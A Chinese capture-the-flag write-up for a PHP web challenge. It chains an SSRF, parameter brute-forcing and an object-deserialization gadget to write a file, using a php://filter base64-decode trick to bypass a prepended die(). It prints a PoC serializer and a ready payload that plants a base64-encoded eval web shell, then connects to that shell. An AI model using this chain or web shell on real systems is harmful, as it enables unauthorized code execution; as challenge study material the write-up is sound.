1.打开页面,进入index.php,没有任何提示,直接目录扫描发现robots.txt
和flag.php
。
2.根据提示,进入star1.php
,发现一个ssrf界面,一共就三个函数可以使用:fsockopen()、file_get_contents()、curl_exec()
。F12发现提示ser.php
需要本地访问,直接构造/star1.php?path=http://127.0.0.1/ser.php
发现题目高亮的ser.php
源码:
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?> your hat is too black!
3.首先这个页面没有任何字段是输出your hat is too black!
这句话的,猜测是该页面输出的,尝试本地访问star1.php
,得不到源码。所以该页面应该是包含了ser.php
页面的,并且ser.php
也没有反序列化函数unserialize()
,应该是在star1.php
中的。
4.用工具arjun
爆破页面参数:arjun -u 5887ab57-9013-452c-987e-0a9a4ed81a82.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/ser.php -m GET
,结果为c和pah。path已经有了,那么c参数一定就是反序列化点了。
5.然后就是怎么触发__tostring
方法了,不得不说,这题是蛮坑爹的,看了wp才知道,那个页面的源码中反序列化点会直接输出对象,直接能触发该方法。那么触发方式也有了,最后就是如何绕过死亡die()
了。
6.参考网上的绕过死亡die
的方法,直接用php过滤器base64-decode
对文件内容进行base64解码,它的字符范围包括a-z A-Z 0-9 = /
,计算<?php die("nononon");?>
包含在内的字符,以4bytes一位编码来计算需要补多少位。点到phpdienononon
一共是13位,需要补3位才能到16位成为4的整数倍。于是payload的base64编码后的一句话木马内容前面加三个a即可。最后,poc:
<?php
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yongen;
}
}
class Yongen{
public $file;
public $text;
public function __construct(){
$this->file = "php://filter/convert.base64-decode/resource=shell.php";
$this->text="aaaPD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg==";
}
}
echo serialize(new GWHT);
?>
----------------------------------------------
payload:
/star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:53:"php://filter/convert.base64-decode/resource=shell.php";s:4:"text";s:39:"aaaPD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg==";}}
7.访问shell.php
,发现乱码输出,代表成功写入shell:
8.最后蚁剑连接在根目录找到flag